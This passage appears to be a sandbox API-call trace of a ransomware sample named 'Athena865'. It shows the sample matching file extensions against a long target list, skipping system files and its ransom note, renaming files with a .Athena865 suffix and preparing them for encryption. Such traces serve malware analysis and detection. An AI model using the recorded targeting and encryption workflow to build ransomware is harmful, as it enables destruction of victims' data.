5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0100.067] lstrlenW (lpString="accft") returned 5 [0100.067] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0100.067] lstrlenW (lpString="adb") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.067] lstrlenW (lpString="adb") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.067] lstrlenW (lpString="ade") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0100.067] lstrlenW (lpString="adf") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0100.067] lstrlenW (lpString="adn") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0100.067] lstrlenW (lpString="adp") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0100.067] lstrlenW (lpString="alf") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0100.067] lstrlenW (lpString="ask") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0100.067] lstrlenW (lpString="btr") returned 3 [0100.067] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0100.068] lstrlenW (lpString="cat") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0100.068] lstrlenW (lpString="cdb") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0100.068] lstrlenW (lpString="ckp") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0100.068] lstrlenW (lpString="cma") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0100.068] lstrlenW (lpString="cpd") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0100.068] lstrlenW (lpString="dacpac") returned 6 [0100.068] lstrcmpiW (lpString1="geInfo", lpString2="dacpac") returned 1 [0100.068] lstrlenW (lpString="dad") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0100.068] lstrlenW (lpString="dadiagrams") returned 10 [0100.068] lstrcmpiW (lpString1="ackageInfo", lpString2="dadiagrams") returned -1 [0100.068] lstrlenW (lpString="daschema") returned 8 [0100.068] lstrcmpiW (lpString1="kageInfo", lpString2="daschema") returned 1 [0100.068] lstrlenW (lpString="db-journal") returned 10 [0100.068] lstrcmpiW (lpString1="ackageInfo", lpString2="db-journal") returned -1 [0100.068] lstrlenW (lpString="db-shm") returned 6 [0100.068] lstrcmpiW (lpString1="geInfo", lpString2="db-shm") returned 1 [0100.068] lstrlenW (lpString="db-wal") returned 6 [0100.068] lstrcmpiW (lpString1="geInfo", lpString2="db-wal") returned 1 [0100.068] lstrlenW (lpString="dbc") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0100.068] lstrlenW (lpString="dbs") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0100.068] lstrlenW (lpString="dbt") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0100.068] lstrlenW (lpString="dbv") returned 3 [0100.068] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0100.069] lstrlenW (lpString="dbx") returned 3 [0100.069] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0100.069] lstrlenW (lpString="dcb") returned 3 [0100.069] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0100.069] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo.Athena865") returned 113 [0100.069] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.070] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.070] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.071] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.071] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.071] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.073] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.077] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.077] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.077] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0100.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0100.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0100.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.078] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.079] CloseHandle (hObject=0x154) returned 1 [0100.079] CloseHandle (hObject=0x17c) returned 1 [0100.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0100.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0100.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.079] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcf5127c0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xcf5127c0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xcf669420, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", cAlternateFileName="{42586~2")) returned 1 [0100.079] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.079] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.079] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.079] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.079] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.080] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo") returned 56 [0100.080] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo" | out: lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo") returned="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo" [0100.080] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo") returned 56 [0100.080] lstrlenW (lpString="Athena865") returned 9 [0100.080] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.080] lstrlenW (lpString=".dll") returned 4 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.080] lstrlenW (lpString=".lnk") returned 4 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.080] lstrlenW (lpString=".ini") returned 4 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.080] lstrlenW (lpString=".sys") returned 4 [0100.080] lstrcmpiW (lpString1="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.080] lstrlenW (lpString="{425865B3-1A09-4BE3-8A97-1BAFFDA74ED0}_WindowsUpdateInfo") returned 56 [0100.080] lstrlenW (lpString="bak") returned 3 [0100.080] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0100.080] lstrlenW (lpString="ba_") returned 3 [0100.080] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0100.080] lstrlenW (lpString="dbb") returned 3 [0100.080] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0100.080] lstrlenW (lpString="vmdk") returned 4 [0100.080] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0100.080] lstrlenW (lpString="rar") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0100.081] lstrlenW (lpString="zip") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0100.081] lstrlenW (lpString="tgz") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0100.081] lstrlenW (lpString="vbox") returned 4 [0100.081] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0100.081] lstrlenW (lpString="vdi") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0100.081] lstrlenW (lpString="vhd") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0100.081] lstrlenW (lpString="vhdx") returned 4 [0100.081] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0100.081] lstrlenW (lpString="avhd") returned 4 [0100.081] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0100.081] lstrlenW (lpString="db") returned 2 [0100.081] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0100.081] lstrlenW (lpString="db2") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0100.081] lstrlenW (lpString="db3") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0100.081] lstrlenW (lpString="dbf") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0100.081] lstrlenW (lpString="mdf") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0100.081] lstrlenW (lpString="mdb") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0100.081] lstrlenW (lpString="sql") returned 3 [0100.081] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0100.081] lstrlenW (lpString="sqlite") returned 6 [0100.081] lstrcmpiW (lpString1="teInfo", lpString2="sqlite") returned 1 [0100.082] lstrlenW (lpString="sqlite3") returned 7 [0100.082] lstrcmpiW (lpString1="ateInfo", lpString2="sqlite3") returned -1 [0100.082] lstrlenW (lpString="sqlitedb") returned 8 [0100.082] lstrcmpiW (lpString1="dateInfo", lpString2="sqlitedb") returned -1 [0100.082] lstrlenW (lpString="xml") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0100.082] lstrlenW (lpString="$er") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0100.082] lstrlenW (lpString="4dd") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0100.082] lstrlenW (lpString="4dl") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0100.082] lstrlenW (lpString="^^^") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0100.082] lstrlenW (lpString="abs") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0100.082] lstrlenW (lpString="abx") returned 3 [0100.082] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0100.082] lstrlenW (lpString="accdb") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0100.082] lstrlenW (lpString="accdc") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0100.082] lstrlenW (lpString="accde") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0100.082] lstrlenW (lpString="accdr") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0100.082] lstrlenW (lpString="accdt") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0100.082] lstrlenW (lpString="accdw") returned 5 [0100.082] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0100.082] lstrlenW (lpString="accft") returned 5 [0100.083] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0100.083] lstrlenW (lpString="adb") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.083] lstrlenW (lpString="adb") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.083] lstrlenW (lpString="ade") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0100.083] lstrlenW (lpString="adf") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0100.083] lstrlenW (lpString="adn") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0100.083] lstrlenW (lpString="adp") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0100.083] lstrlenW (lpString="alf") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0100.083] lstrlenW (lpString="ask") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0100.083] lstrlenW (lpString="btr") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0100.083] lstrlenW (lpString="cat") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0100.083] lstrlenW (lpString="cdb") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0100.083] lstrlenW (lpString="ckp") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0100.083] lstrlenW (lpString="cma") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0100.083] lstrlenW (lpString="cpd") returned 3 [0100.083] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0100.083] lstrlenW (lpString="dacpac") returned 6 [0100.083] lstrcmpiW (lpString1="teInfo", lpString2="dacpac") returned 1 [0100.084] lstrlenW (lpString="dad") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0100.084] lstrlenW (lpString="dadiagrams") returned 10 [0100.084] lstrcmpiW (lpString1="UpdateInfo", lpString2="dadiagrams") returned 1 [0100.084] lstrlenW (lpString="daschema") returned 8 [0100.084] lstrcmpiW (lpString1="dateInfo", lpString2="daschema") returned 1 [0100.084] lstrlenW (lpString="db-journal") returned 10 [0100.084] lstrcmpiW (lpString1="UpdateInfo", lpString2="db-journal") returned 1 [0100.084] lstrlenW (lpString="db-shm") returned 6 [0100.084] lstrcmpiW (lpString1="teInfo", lpString2="db-shm") returned 1 [0100.084] lstrlenW (lpString="db-wal") returned 6 [0100.084] lstrcmpiW (lpString1="teInfo", lpString2="db-wal") returned 1 [0100.084] lstrlenW (lpString="dbc") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0100.084] lstrlenW (lpString="dbs") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0100.084] lstrlenW (lpString="dbt") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0100.084] lstrlenW (lpString="dbv") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0100.084] lstrlenW (lpString="dbx") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0100.084] lstrlenW (lpString="dcb") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0100.084] lstrlenW (lpString="dct") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dct") returned 1 [0100.084] lstrlenW (lpString="dcx") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="dcx") returned 1 [0100.084] lstrlenW (lpString="ddl") returned 3 [0100.084] lstrcmpiW (lpString1="nfo", lpString2="ddl") returned 1 [0100.085] lstrlenW (lpString="dlis") returned 4 [0100.085] lstrcmpiW (lpString1="Info", lpString2="dlis") returned 1 [0100.085] lstrlenW (lpString="dp1") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="dp1") returned 1 [0100.085] lstrlenW (lpString="dqy") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="dqy") returned 1 [0100.085] lstrlenW (lpString="dsk") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="dsk") returned 1 [0100.085] lstrlenW (lpString="dsn") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="dsn") returned 1 [0100.085] lstrlenW (lpString="dtsx") returned 4 [0100.085] lstrcmpiW (lpString1="Info", lpString2="dtsx") returned 1 [0100.085] lstrlenW (lpString="dxl") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="dxl") returned 1 [0100.085] lstrlenW (lpString="eco") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="eco") returned 1 [0100.085] lstrlenW (lpString="ecx") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="ecx") returned 1 [0100.085] lstrlenW (lpString="edb") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="edb") returned 1 [0100.085] lstrlenW (lpString="epim") returned 4 [0100.085] lstrcmpiW (lpString1="Info", lpString2="epim") returned 1 [0100.085] lstrlenW (lpString="fcd") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="fcd") returned 1 [0100.085] lstrlenW (lpString="fdb") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="fdb") returned 1 [0100.085] lstrlenW (lpString="fic") returned 3 [0100.085] lstrcmpiW (lpString1="nfo", lpString2="fic") returned 1 [0100.085] lstrlenW (lpString="flexolibrary") returned 12 [0100.085] lstrcmpiW (lpString1="wsUpdateInfo", lpString2="flexolibrary") returned 1 [0100.085] lstrlenW (lpString="fm5") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fm5") returned 1 [0100.086] lstrlenW (lpString="fmp") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fmp") returned 1 [0100.086] lstrlenW (lpString="fmp12") returned 5 [0100.086] lstrcmpiW (lpString1="eInfo", lpString2="fmp12") returned -1 [0100.086] lstrlenW (lpString="fmpsl") returned 5 [0100.086] lstrcmpiW (lpString1="eInfo", lpString2="fmpsl") returned -1 [0100.086] lstrlenW (lpString="fol") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fol") returned 1 [0100.086] lstrlenW (lpString="fp3") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fp3") returned 1 [0100.086] lstrlenW (lpString="fp4") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fp4") returned 1 [0100.086] lstrlenW (lpString="fp5") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fp5") returned 1 [0100.086] lstrlenW (lpString="fp7") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fp7") returned 1 [0100.086] lstrlenW (lpString="fpt") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="fpt") returned 1 [0100.086] lstrlenW (lpString="frm") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="frm") returned 1 [0100.086] lstrlenW (lpString="gdb") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0100.086] lstrlenW (lpString="gdb") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0100.086] lstrlenW (lpString="grdb") returned 4 [0100.086] lstrcmpiW (lpString1="Info", lpString2="grdb") returned 1 [0100.086] lstrlenW (lpString="gwi") returned 3 [0100.086] lstrcmpiW (lpString1="nfo", lpString2="gwi") returned 1 [0100.086] lstrlenW (lpString="hdb") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="hdb") returned 1 [0100.087] lstrlenW (lpString="his") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="his") returned 1 [0100.087] lstrlenW (lpString="ib") returned 2 [0100.087] lstrcmpiW (lpString1="fo", lpString2="ib") returned -1 [0100.087] lstrlenW (lpString="idb") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="idb") returned 1 [0100.087] lstrlenW (lpString="ihx") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="ihx") returned 1 [0100.087] lstrlenW (lpString="itdb") returned 4 [0100.087] lstrcmpiW (lpString1="Info", lpString2="itdb") returned -1 [0100.087] lstrlenW (lpString="itw") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="itw") returned 1 [0100.087] lstrlenW (lpString="jet") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="jet") returned 1 [0100.087] lstrlenW (lpString="jtx") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="jtx") returned 1 [0100.087] lstrlenW (lpString="kdb") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="kdb") returned 1 [0100.087] lstrlenW (lpString="kexi") returned 4 [0100.087] lstrcmpiW (lpString1="Info", lpString2="kexi") returned -1 [0100.087] lstrlenW (lpString="kexic") returned 5 [0100.087] lstrcmpiW (lpString1="eInfo", lpString2="kexic") returned -1 [0100.087] lstrlenW (lpString="kexis") returned 5 [0100.087] lstrcmpiW (lpString1="eInfo", lpString2="kexis") returned -1 [0100.087] lstrlenW (lpString="lgc") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="lgc") returned 1 [0100.087] lstrlenW (lpString="lwx") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="lwx") returned 1 [0100.087] lstrlenW (lpString="maf") returned 3 [0100.087] lstrcmpiW (lpString1="nfo", lpString2="maf") returned 1 [0100.088] lstrlenW (lpString="maq") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="maq") returned 1 [0100.088] lstrlenW (lpString="mar") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mar") returned 1 [0100.088] lstrlenW (lpString="marshal") returned 7 [0100.088] lstrcmpiW (lpString1="ateInfo", lpString2="marshal") returned -1 [0100.088] lstrlenW (lpString="mas") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mas") returned 1 [0100.088] lstrlenW (lpString="mav") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mav") returned 1 [0100.088] lstrlenW (lpString="maw") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="maw") returned 1 [0100.088] lstrlenW (lpString="mdbhtml") returned 7 [0100.088] lstrcmpiW (lpString1="ateInfo", lpString2="mdbhtml") returned -1 [0100.088] lstrlenW (lpString="mdn") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mdn") returned 1 [0100.088] lstrlenW (lpString="mdt") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mdt") returned 1 [0100.088] lstrlenW (lpString="mfd") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mfd") returned 1 [0100.088] lstrlenW (lpString="mpd") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mpd") returned 1 [0100.088] lstrlenW (lpString="mrg") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mrg") returned 1 [0100.088] lstrlenW (lpString="mud") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mud") returned 1 [0100.088] lstrlenW (lpString="mwb") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="mwb") returned 1 [0100.088] lstrlenW (lpString="myd") returned 3 [0100.088] lstrcmpiW (lpString1="nfo", lpString2="myd") returned 1 [0100.089] lstrlenW (lpString="ndf") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="ndf") returned 1 [0100.089] lstrlenW (lpString="nnt") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="nnt") returned -1 [0100.089] lstrlenW (lpString="nrmlib") returned 6 [0100.089] lstrcmpiW (lpString1="teInfo", lpString2="nrmlib") returned 1 [0100.089] lstrlenW (lpString="ns2") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", lpString2="ns2") returned -1 [0100.089] lstrlenW (lpString="ns3") returned 3 [0100.089] lstrcmpiW (lpString1="nfo", 